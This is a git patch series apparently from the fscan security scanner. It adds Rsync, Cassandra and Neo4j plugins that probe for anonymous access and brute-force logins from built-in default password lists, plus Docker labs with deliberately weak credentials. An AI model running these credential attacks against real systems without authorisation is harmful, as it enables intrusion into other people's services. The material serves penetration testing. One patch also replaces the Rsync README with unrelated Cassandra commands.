"21,22,23,25,110,135,139,143,161,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" var UDPPorts = "161" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9200,9092,10051,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9200,9092,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index e24e226..0e75c37 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -127,6 +127,12 @@ func init() { ScanFunc: Plugins.ModbusScan, }) + Common.RegisterPlugin("rsync", Common.ScanPlugin{ + Name: "Rsync", + Ports: []int{873}, + ScanFunc: Plugins.RsyncScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Rsync.go b/Plugins/Rsync.go new file mode 100644 index 0000000..a76d14c --- /dev/null +++ b/Plugins/Rsync.go @@ -0,0 +1,185 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "net" + "strings" + "time" +) + +// RsyncScan 执行 Rsync 服务扫描 +func RsyncScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试匿名访问 + flag, err := RsyncConn(info, "", "") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["rsync"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := RsyncConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["rsync"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 建立连接 + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) + if err != nil { + return false, err + } + defer conn.Close() + + buffer := make([]byte, 1024) + + // 1. 读取服务器初始greeting + n, err := conn.Read(buffer) + if err != nil { + return false, err + } + + greeting := string(buffer[:n]) + if !strings.HasPrefix(greeting, "@RSYNCD:") { + return false, fmt.Errorf("不是Rsync服务") + } + + // 获取服务器版本号 + version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:")) + + // 2. 回应相同的版本号 + _, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version))) + if err != nil { + return false, err + } + + // 3. 选择模块 - 先列出可用模块 + _, err = conn.Write([]byte("#list\n")) + if err != nil { + return false, err + } + + // 4. 读取模块列表 + var moduleList strings.Builder + for { + n, err = conn.Read(buffer) + if err != nil { + break + } + chunk := string(buffer[:n]) + moduleList.WriteString(chunk) + if strings.Contains(chunk, "@RSYNCD: EXIT") { + break + } + } + + modules := strings.Split(moduleList.String(), "\n") + for _, module := range modules { + if strings.HasPrefix(module, "@RSYNCD") || module == "" { + continue + } + + // 获取模块名 + moduleName := strings.Fields(module)[0] + + // 5. 为每个模块创建新连接尝试认证 + authConn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) + if err != nil { + continue + } + defer authConn.Close() + + // 重复初始握手 + _, err = authConn.Read(buffer) + if err != nil { + authConn.Close() + continue + } + + _, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version))) + if err != nil { + authConn.Close() + continue + } + + // 6. 选择模块 + _, err = authConn.Write([]byte(moduleName + "\n")) + if err != nil { + authConn.Close() + continue + } + + // 7. 等待认证挑战 + n, err = authConn.Read(buffer) + if err != nil { + authConn.Close() + continue + } + + authResponse := string(buffer[:n]) + if strings.Contains(authResponse, "@RSYNCD: OK") { + // 模块不需要认证 + if user == "" && pass == "" { + result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName) + Common.LogSuccess(result) + return true, nil + } + } else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") { + if user != "" && pass != "" { + // 8. 发送认证信息 + authString := fmt.Sprintf("%s %s\n", user, pass) + _, err = authConn.Write([]byte(authString)) + if err != nil { + authConn.Close() + continue + } + + // 9. 读取认证结果 + n, err = authConn.Read(buffer) + if err != nil { + authConn.Close() + continue + } + + if !strings.Contains(string(buffer[:n]), "@ERROR") { + result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v", + host, port, moduleName, user, pass) + Common.LogSuccess(result) + return true, nil + } + } + } + authConn.Close() + } + + return false, fmt.Errorf("认证失败或无可用模块") +} diff --git a/TestDocker/Rsync/Dockerfile b/TestDocker/Rsync/Dockerfile new file mode 100644 index 0000000..56605c1 --- /dev/null +++ b/TestDocker/Rsync/Dockerfile @@ -0,0 +1,39 @@ +FROM ubuntu:20.04 + +# 安装rsync +RUN apt-get update && \ + apt-get install -y rsync + +# 创建测试目录和用户 +RUN mkdir -p /data/public && \ + mkdir -p /data/secure && \ + useradd -m testuser && \ + echo "testuser:123456" | chpasswd + +# 配置文件 +RUN echo 'pid file = /var/run/rsyncd.pid' > /etc/rsyncd.conf && \ + echo 'log file = /var/log/rsyncd.log' >> /etc/rsyncd.conf && \ + echo 'transfer logging = yes' >> /etc/rsyncd.conf && \ + echo 'use chroot = yes' >> /etc/rsyncd.conf && \ + echo '[public]' >> /etc/rsyncd.conf && \ + echo 'path = /data/public' >> /etc/rsyncd.conf && \ + echo 'comment = Public Share' >> /etc/rsyncd.conf && \ + echo 'read only = yes' >> /etc/rsyncd.conf && \ + echo 'auth users = *' >> /etc/rsyncd.conf && \ + echo 'secrets file = /etc/rsyncd.secrets' >> /etc/rsyncd.conf && \ + echo '[anonymous]' >> /etc/rsyncd.conf && \ + echo 'path = /data/public' >> /etc/rsyncd.conf && \ + echo 'comment = Anonymous Share' >> /etc/rsyncd.conf && \ + echo 'read only = yes' >> /etc/rsyncd.conf && \ + echo 'auth users = ' >> /etc/rsyncd.conf + +# 创建密码文件 +RUN echo 'testuser:123456' > /etc/rsyncd.secrets && \ + echo 'root:root123' >> /etc/rsyncd.secrets && \ + chmod 600 /etc/rsyncd.secrets + +# 暴露Rsync默认端口 +EXPOSE 873 + +# 启动rsync守护进程 +CMD ["rsync", "--daemon", "--no-detach", "--config=/etc/rsyncd.conf"] \ No newline at end of file diff --git a/TestDocker/Rsync/README.txt b/TestDocker/Rsync/README.txt new file mode 100644 index 0000000..5595cba --- /dev/null +++ b/TestDocker/Rsync/README.txt @@ -0,0 +1,2 @@ +docker build -t rsync-weak . +docker run -d --name rsync-test -p 873:873 rsync-weak \ No newline at end of file From fe1b92cc98a41aac5eb112fafaa05420e7704e52 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 07:04:12 +0800 Subject: [PATCH 148/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Cassandra?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=E5=92=8C=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 6 +++ Plugins/Cassandra.go | 94 +++++++++++++++++++++++++++++++++ TestDocker/Cassandra/README.txt | 2 + TestDocker/Rsync/README.txt | 17 +++++- go.mod | 3 ++ go.sum | 9 ++++ 9 files changed, 134 insertions(+), 6 deletions(-) create mode 100644 Plugins/Cassandra.go create mode 100644 TestDocker/Cassandra/README.txt diff --git a/Common/Config.go b/Common/Config.go index d8d07d7..9c57da2 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -22,6 +22,7 @@ var Userdict = map[string][]string{ "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, "zabbix": {"Admin", "admin", "guest", "user"}, "rsync": {"rsync", "root", "admin", "backup"}, + "cassandra": {"cassandra", "admin", "root", "system"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 2a21477..ce681b6 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -22,7 +22,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", "rsync", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", "rsync", "cassandra", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -37,7 +37,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", "rsync", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", "rsync", "cassandra", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index e97fd61..d7041f1 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -6,11 +6,11 @@ import ( ) var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" -var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" +var DbPorts = "1433,1521,3306,5432,5672,6379,9042,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" var UDPPorts = "161" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9200,9092,10051,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 0e75c37..3fb3c1e 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -133,6 +133,12 @@ func init() { ScanFunc: Plugins.RsyncScan, }) + Common.RegisterPlugin("cassandra", Common.ScanPlugin{ + Name: "Cassandra", + Ports: []int{9042}, + ScanFunc: Plugins.CassandraScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Cassandra.go b/Plugins/Cassandra.go new file mode 100644 index 0000000..ea4c4da --- /dev/null +++ b/Plugins/Cassandra.go @@ -0,0 +1,94 @@ +package Plugins + +import ( + "fmt" + "github.com/gocql/gocql" + "github.com/shadow1ng/fscan/Common" + "strconv" + "strings" + "time" +) + +func CassandraScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试无认证访问 + flag, err := CassandraConn(info, "", "") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["cassandra"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := CassandraConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["cassandra"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + cluster := gocql.NewCluster(host) + cluster.Port, _ = strconv.Atoi(port) + cluster.Timeout = timeout + cluster.ProtoVersion = 4 // 指定协议版本 + cluster.Consistency = gocql.One + + if user != "" || pass != "" { + cluster.Authenticator = gocql.PasswordAuthenticator{ + Username: user, + Password: pass, + } + } + + // 增加重试机制 + cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3} + + session, err := cluster.CreateSession() + if err != nil { + return false, err + } + defer session.Close() + + // 使用更简单的查询测试连接 + var version string + if err := session.Query("SELECT peer FROM system.peers").Scan(&version); err != nil { + if err := session.Query("SELECT now() FROM system.local").Scan(&version); err != nil { + return false, err + } + } + + result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port) + if user != "" { + result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) + } else { + result += "无需认证即可访问" + } + Common.LogSuccess(result) + + return true, nil +} diff --git a/TestDocker/Cassandra/README.txt b/TestDocker/Cassandra/README.txt new file mode 100644 index 0000000..c4dad5c --- /dev/null +++ b/TestDocker/Cassandra/README.txt @@ -0,0 +1,2 @@ +docker build -t cassandra-weak . +docker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p 9042:9042 -p 9160:9160 cassandra:3.11 \ No newline at end of file diff --git a/TestDocker/Rsync/README.txt b/TestDocker/Rsync/README.txt index 5595cba..15af407 100644 --- a/TestDocker/Rsync/README.txt +++ b/TestDocker/Rsync/README.txt @@ -1,2 +1,15 @@ -docker build -t rsync-weak . -docker run -d --name rsync-test -p 873:873 rsync-weak \ No newline at end of file +docker pull cassandra:3.11 + +docker run -d --name cassandra-test \ + -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator \ + -p 9042:9042 \ + -p 9160:9160 \ + cassandra:3.11 + +docker run -d --name cassandra-test \ + -e CASSANDRA_AUTHENTICATOR=PasswordAuthenticator \ + -e CASSANDRA_PASSWORD=123456 \ + -e CASSANDRA_USER=admin \ + -p 9042:9042 \ + -p 9160:9160 \ + cassandra:3.11 \ No newline at end of file diff --git a/go.mod b/go.mod index e49f686..e701912 100644 --- a/go.mod +++ b/go.mod @@ -44,11 +44,13 @@ require ( github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect github.com/go-resty/resty/v2 v2.16.2 // indirect + github.com/gocql/gocql v1.7.0 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect github.com/google/uuid v1.6.0 // indirect github.com/gosnmp/gosnmp v1.38.0 // indirect + github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect @@ -76,6 +78,7 @@ require ( golang.org/x/sync v0.10.0 // indirect golang.org/x/sys v0.28.0 // indirect golang.org/x/tools v0.22.0 // indirect + gopkg.in/inf.v0 v0.9.1 // indirect honnef.co/go/tools v0.0.1-2019.2.3 // indirect ) diff --git a/go.sum b/go.sum index 1a2b69f..ac099fa 100644 --- a/go.sum +++ b/go.sum @@ -38,7 +38,9 @@ github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k= github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= +github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= @@ -87,6 +89,8 @@ github.com/go-resty/resty/v2 v2.16.2/go.mod h1:0fHAoK7JoBy/Ch36N8VFeMsK7xQOHhvWa github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus= +github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= @@ -104,6 +108,7 @@ github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5y github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0= @@ -140,6 +145,8 @@ github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywT github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= +github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8= +github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4= github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= @@ -545,6 +552,8 @@ gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= +gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= From 40e8f6621d90fe1442c4f7203d75f584b2ce8db5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 07:15:25 +0800 Subject: [PATCH 149/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Neo4j?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=E5=92=8C=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 8 +-- Common/Ports.go | 4 +- Core/Registry.go | 6 ++ Plugins/Neo4j.go | 102 ++++++++++++++++++++++++++++ TestDocker/Neo4j/Dockerfile | 9 +++ TestDocker/Neo4j/docker-compose.yml | 11 +++ go.mod | 9 +-- go.sum | 49 +++++++++++++ 9 files changed, 189 insertions(+), 10 deletions(-) create mode 100644 Plugins/Neo4j.go create mode 100644 TestDocker/Neo4j/Dockerfile create mode 100644 TestDocker/Neo4j/docker-compose.yml diff --git a/Common/Config.go b/Common/Config.go index 9c57da2..8f7221c 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -23,6 +23,7 @@ var Userdict = map[string][]string{ "zabbix": {"Admin", "admin", "guest", "user"}, "rsync": {"rsync", "root", "admin", "backup"}, "cassandra": {"cassandra", "admin", "root", "system"}, + "neo4j": {"neo4j", "admin", "root", "test"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index ce681b6..5733edc 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,8 +21,8 @@ var pluginGroups = map[string][]string{ ModeAll: { "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 - "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", "rsync", "cassandra", // 服务类 + "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", // 数据库类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", "rsync", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -31,13 +31,13 @@ var pluginGroups = map[string][]string{ }, ModeDatabase: { "mysql", "mssql", "redis", "mongodb", - "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", + "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", }, ModeWeb: { "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", "rsync", "cassandra", + "ftp", "ssh", 